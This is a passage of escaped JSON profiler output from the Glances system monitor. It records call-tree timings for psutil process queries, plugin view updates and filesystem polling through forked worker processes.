0.003996,\"attributes\": {\"cProcess\": 0.003996102997916751, \"l382\": 0.0019973719972767867, \"l391\": 0.001998731000639964},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001129\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.0019973719972767867, \"l1138\": 0.0019973719972767867},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.0019973719972767867, \"l1593\": 0.0019973719972767867},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001865\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.0019973719972767867, \"l1879\": 0.0019973719972767867},\"children\": [{\"identifier\": \"<genexpr>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001879\",\"time\": 0.001997,\"attributes\": {\"l1880\": 0.0019973719972767867},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.004001,\"attributes\": {\"cProcess\": 0.004000724999059457, \"l680\": 0.004000724999059457},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.004001,\"attributes\": {\"cProcess\": 0.004000724999059457, \"l1593\": 0.004000724999059457},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.004001,\"attributes\": {\"cProcess\": 0.004000724999059457, \"l1740\": 0.004000724999059457},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.004001,\"attributes\": {\"cProcess\": 0.004000724999059457, \"l1593\": 0.004000724999059457},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.004001,\"attributes\": {\"cProcess\": 0.004000724999059457, \"l382\": 0.004000724999059457},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.004001,\"attributes\": {\"cProcess\": 0.004000724999059457, \"l1683\": 0.004000724999059457},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.004001,\"attributes\": {\"l730\": 0.004000724999059457},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.004001,\"attributes\": {\"l719\": 0.002006242997595109, \"l718\": 0.0019944820014643483},\"children\": [{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.002006,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002006,\"attributes\": {},\"children\": []}]},{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.001994,\"attributes\": {\"l682\": 0.0019944820014643483},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.001994,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001994,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"__enter__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/contextlib.py\\u0000136\",\"time\": 0.002001,\"attributes\": {\"c_GeneratorContextManager\": 0.0020006900012958795, \"l141\": 0.0020006900012958795},\"children\": [{\"identifier\": \"oneshot\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000478\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020006900012958795, \"l533\": 0.0020006900012958795},\"children\": [{\"identifier\": \"cache_activate\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000393\",\"time\": 0.002001,\"attributes\": {\"l397\": 0.0020006900012958795},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000937\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000451997446362, \"l939\": 0.002000451997446362},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000451997446362, \"l1593\": 0.002000451997446362},\"children\": [{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002049\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000451997446362, \"l2052\": 0.002000451997446362},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000451997446362, \"l1593\": 0.002000451997446362},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000451997446362, \"l382\": 0.002000451997446362},\"children\": [{\"identifier\": \"_read_status_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001711\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000451997446362, \"l1719\": 0.002000451997446362},\"children\": [{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []},{\"identifier\": \"as_dict\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000545\",\"time\": 0.009998,\"attributes\": {\"cProcess\": 0.009997974004363641, \"l579\": 0.00799814600031823, \"l572\": 0.001999828004045412},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020007840066682547, \"l382\": 0.0020007840066682547},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001129\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020007840066682547, \"l1138\": 0.0020007840066682547},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020007840066682547, \"l1593\": 0.0020007840066682547},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001865\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020007840066682547, \"l1880\": 0.0020007840066682547},\"children\": [{\"identifier\": \"BufferedReader.readline\\u0000<built-in>\\u00000\",\"time\": 0.002001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"status\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000750\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001998779996938538, \"l753\": 0.001998779996938538},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001998779996938538, \"l1593\": 0.001998779996938538},\"children\": [{\"identifier\": \"status\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002190\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001998779996938538, \"l2192\": 0.001998779996938538},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001998779996938538, \"l1593\": 0.001998779996938538},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001998779996938538, \"l391\": 0.001998779996938538},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000829\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001999366002564784, \"l836\": 0.001999366002564784},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001999366002564784, \"l1593\": 0.001999366002564784},\"children\": [{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001792\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001999366002564784, \"l1799\": 0.001999366002564784},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"cpu_percent\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001025\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019992159941466525, \"l1079\": 0.0019992159941466525},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019992159941466525, \"l1593\": 0.0019992159941466525},\"children\": [{\"identifier\": \"cpu_times\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001827\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019992159941466525, \"l1829\": 0.0019992159941466525},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019992159941466525, \"l1593\": 0.0019992159941466525},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"__exit__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/contextlib.py\\u0000145\",\"time\": 0.002000,\"attributes\": {\"c_GeneratorContextManager\": 0.001999828004045412, \"l148\": 0.001999828004045412},\"children\": [{\"identifier\": \"oneshot\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000478\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.001999828004045412, \"l539\": 0.001999828004045412},\"children\": [{\"identifier\": \"cache_deactivate\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000399\",\"time\": 0.002000,\"attributes\": {\"l404\": 0.001999828004045412},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"is_running\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000625\",\"time\": 0.008000,\"attributes\": {\"cProcess\": 0.00799967299826676, \"l639\": 0.00799967299826676},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000313\",\"time\": 0.006001,\"attributes\": {\"cProcess\": 0.006001453999488149, \"l314\": 0.006001453999488149},\"children\": [{\"identifier\": \"_init\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000316\",\"time\": 0.006001,\"attributes\": {\"cProcess\": 0.006001453999488149, \"l347\": 0.006001453999488149},\"children\": [{\"identifier\": \"_get_ident\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000363\",\"time\": 0.006001,\"attributes\": {\"cProcess\": 0.006001453999488149, \"l394\": 0.006001453999488149},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.006001,\"attributes\": {\"cProcess\": 0.006001453999488149, \"l1593\": 0.006001453999488149},\"children\": [{\"identifier\": \"create_time\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001848\",\"time\": 0.006001,\"attributes\": {\"cProcess\": 0.006001453999488149, \"l1857\": 0.006001453999488149},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.006001,\"attributes\": {\"cProcess\": 0.006001453999488149, \"l1593\": 0.006001453999488149},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.006001,\"attributes\": {\"cProcess\": 0.006001453999488149, \"l375\": 0.006001453999488149},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.006001,\"attributes\": {\"cProcess\": 0.006001453999488149, \"l1683\": 0.006001453999488149},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.006001,\"attributes\": {\"l730\": 0.006001453999488149},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.006001,\"attributes\": {\"l718\": 0.004000963999715168, \"l719\": 0.002000489999772981},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.002000,\"attributes\": {\"l682\": 0.0020002800010843202},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]},{\"identifier\": \"BufferedReader.__exit__\\u0000<built-in>\\u00000\",\"time\": 0.002001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"__ne__\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000451\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.0019982189987786114, \"l452\": 0.0019982189987786114},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"is_selected_extended_process\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000463\",\"time\": 0.002000,\"attributes\": {\"cGlancesProcesses\": 0.001999986001465004, \"l468\": 0.001999986001465004},\"children\": [{\"identifier\": \"hasattr\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"update_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000683\",\"time\": 0.002005,\"attributes\": {\"cGlancesProcesses\": 0.0020047409998369403, \"l689\": 0.0020047409998369403},\"children\": [{\"identifier\": \"list_of_namedtuple_to_list_of_dict\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000587\",\"time\": 0.002005,\"attributes\": {\"l589\": 0.0020047409998369403},\"children\": [{\"identifier\": \"namedtuple_to_dict\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000582\",\"time\": 0.002005,\"attributes\": {\"l584\": 0.0020047409998369403},\"children\": [{\"identifier\": \"_asdict\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/collections/__init__.py\\u0000476\",\"time\": 0.002005,\"attributes\": {\"cpmem\": 0.0020047409998369403, \"l478\": 0.0020047409998369403},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002005,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/programlist/__init__.py\\u0000148\",\"time\": 0.001997,\"attributes\": {\"cProgramlistPlugin\": 0.0019974969982285984, \"l155\": 0.0019974969982285984},\"children\": [{\"identifier\": \"get_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000704\",\"time\": 0.001997,\"attributes\": {\"cGlancesProcesses\": 0.0019974969982285984, \"l711\": 0.0019974969982285984},\"children\": [{\"identifier\": \"processes_to_programs\\u0000/home/nicolargo/dev/glances/glances/programs.py\\u000062\",\"time\": 0.001997,\"attributes\": {\"l74\": 0.0019974969982285984},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000658\",\"time\": 0.005999,\"attributes\": {\"cProgramlistPlugin\": 0.005998704997182358, \"l678\": 0.005998704997182358},\"children\": [{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.005999,\"attributes\": {\"cProgramlistPlugin\": 0.005998704997182358, \"l633\": 0.0019991859953734092, \"l634\": 0.0019994750036858022, \"l656\": 0.0020000439981231466},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []},{\"identifier\": \"_build_field_optional\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000625\",\"time\": 0.001999,\"attributes\": {\"cProgramlistPlugin\": 0.0019994750036858022, \"l628\": 0.0019994750036858022},\"children\": [{\"identifier\": \"dict.get\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.002016,\"attributes\": {\"cGpuPlugin\": 0.002015810001466889, \"l1278\": 0.002015810001466889},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.002016,\"attributes\": {\"l1295\": 0.002015810001466889},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/gpu/__init__.py\\u0000123\",\"time\": 0.002016,\"attributes\": {\"cGpuPlugin\": 0.002015810001466889, \"l136\": 0.002015810001466889},\"children\": [{\"identifier\": \"get_device_stats\\u0000/home/nicolargo/dev/glances/glances/plugins/gpu/cards/intel.py\\u000052\",\"time\": 0.002016,\"attributes\": {\"cIntelGPU\": 0.002015810001466889, \"l67\": 0.002015810001466889},\"children\": [{\"identifier\": \"get_proc\\u0000/home/nicolargo/dev/glances/glances/plugins/gpu/cards/intel.py\\u0000127\",\"time\": 0.002016,\"attributes\": {\"l129\": 0.002015810001466889},\"children\": [{\"identifier\": \"read_file\\u0000/home/nicolargo/dev/glances/glances/plugins/gpu/cards/intel.py\\u000087\",\"time\": 0.002016,\"attributes\": {\"l90\": 0.002015810001466889},\"children\": [{\"identifier\": \"isfile\\u0000<frozen genericpath>\\u000036\",\"time\": 0.002016,\"attributes\": {\"l39\": 0.002015810001466889},\"children\": [{\"identifier\": \"stat\\u0000<built-in>\\u00000\",\"time\": 0.002016,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002016,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/cpu/__init__.py\\u0000280\",\"time\": 0.001989,\"attributes\": {\"cCpuPlugin\": 0.0019894369979738258, \"l283\": 0.0019894369979738258},\"children\": [{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000658\",\"time\": 0.001989,\"attributes\": {\"cCpuPlugin\": 0.0019894369979738258, \"l682\": 0.0019894369979738258},\"children\": [{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.001989,\"attributes\": {\"cCpuPlugin\": 0.0019894369979738258, \"l633\": 0.0019894369979738258},\"children\": [{\"identifier\": \"_build_field_decoration\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000606\",\"time\": 0.001989,\"attributes\": {\"cCpuPlugin\": 0.0019894369979738258, \"l620\": 0.0019894369979738258},\"children\": [{\"identifier\": \"get_alert_log\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000945\",\"time\": 0.001989,\"attributes\": {\"cCpuPlugin\": 0.0019894369979738258, \"l947\": 0.0019894369979738258},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.001989,\"attributes\": {\"cCpuPlugin\": 0.0019894369979738258, \"l885\": 0.0019894369979738258},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001989,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000658\",\"time\": 0.009995,\"attributes\": {\"cProcesslistPlugin\": 0.009994890002417378, \"l678\": 0.009994890002417378},\"children\": [{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.009995,\"attributes\": {\"cProcesslistPlugin\": 0.009994890002417378, \"l634\": 0.0019966920008300804, \"l656\": 0.003998746004072018, \"l633\": 0.00399945199751528},\"children\": [{\"identifier\": \"_build_field_optional\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000625\",\"time\": 0.001997,\"attributes\": {\"cProcesslistPlugin\": 0.0019966920008300804, \"l628\": 0.0019966920008300804},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []},{\"identifier\": \"_build_field_decoration\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000606\",\"time\": 0.003999,\"attributes\": {\"cProcesslistPlugin\": 0.00399945199751528, \"l619\": 0.00399945199751528},\"children\": [{\"identifier\": \"dict.get\\u0000<built-in>\\u00000\",\"time\": 0.003999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.018026,\"attributes\": {\"cFsPlugin\": 0.016032143001211807, \"l1278\": 0.01802563499950338, \"cPsutilversionPlugin\": 0.0019934919982915744},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.018026,\"attributes\": {\"l1295\": 0.016032143001211807, \"l1294\": 0.0019934919982915744},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/fs/__init__.py\\u0000125\",\"time\": 0.016032,\"attributes\": {\"cFsPlugin\": 0.016032143001211807, \"l131\": 0.016032143001211807},\"children\": [{\"identifier\": \"update_local\\u0000/home/nicolargo/dev/glances/glances/plugins/fs/__init__.py\\u0000152\",\"time\": 0.016032,\"attributes\": {\"cFsPlugin\": 0.016032143001211807, \"l182\": 0.016032143001211807},\"children\": [{\"identifier\": \"wraps\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000618\",\"time\": 0.016032,\"attributes\": {\"l620\": 0.002015100995777175, \"l630\": 0.0021041270010755397, \"l631\": 0.011912915004359093},\"children\": [{\"identifier\": \"Queue\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/context.py\\u0000100\",\"time\": 0.002015,\"attributes\": {\"cForkContext\": 0.002015100995777175, \"l103\": 0.002015100995777175},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/queues.py\\u000035\",\"time\": 0.002015,\"attributes\": {\"cQueue\": 0.002015100995777175, \"l41\": 0.002015100995777175},\"children\": [{\"identifier\": \"Lock\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/context.py\\u000065\",\"time\": 0.002015,\"attributes\": {\"cForkContext\": 0.002015100995777175, \"l68\": 0.002015100995777175},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/synchronize.py\\u0000170\",\"time\": 0.002015,\"attributes\": {\"cLock\": 0.002015100995777175, \"l171\": 0.002015100995777175},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/synchronize.py\\u000049\",\"time\": 0.002015,\"attributes\": {\"cLock\": 0.002015100995777175, \"l66\": 0.002015100995777175},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002015,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"start\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/process.py\\u0000110\",\"time\": 0.002104,\"attributes\": {\"cForkProcess\": 0.0021041270010755397, \"l121\": 0.0021041270010755397},\"children\": [{\"identifier\": \"_Popen\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/context.py\\u0000278\",\"time\": 0.002104,\"attributes\": {\"l281\": 0.0021041270010755397},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000016\",\"time\": 0.002104,\"attributes\": {\"cPopen\": 0.0021041270010755397, \"l20\": 0.0021041270010755397},\"children\": [{\"identifier\": \"_launch\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000066\",\"time\": 0.002104,\"attributes\": {\"cPopen\": 0.0021041270010755397, \"l70\": 0.0021041270010755397},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002104,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"join\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/process.py\\u0000149\",\"time\": 0.011913,\"attributes\": {\"cForkProcess\": 0.011912915004359093, \"l156\": 0.011912915004359093},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000037\",\"time\": 0.011913,\"attributes\": {\"cPopen\": 0.011912915004359093, \"l41\": 0.011912915004359093},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/connection.py\\u00001151\",\"time\": 0.011913,\"attributes\": {\"l1165\": 0.010426355009258259, \"l1157\": 0.0014865599951008335},\"children\": [{\"identifier\": 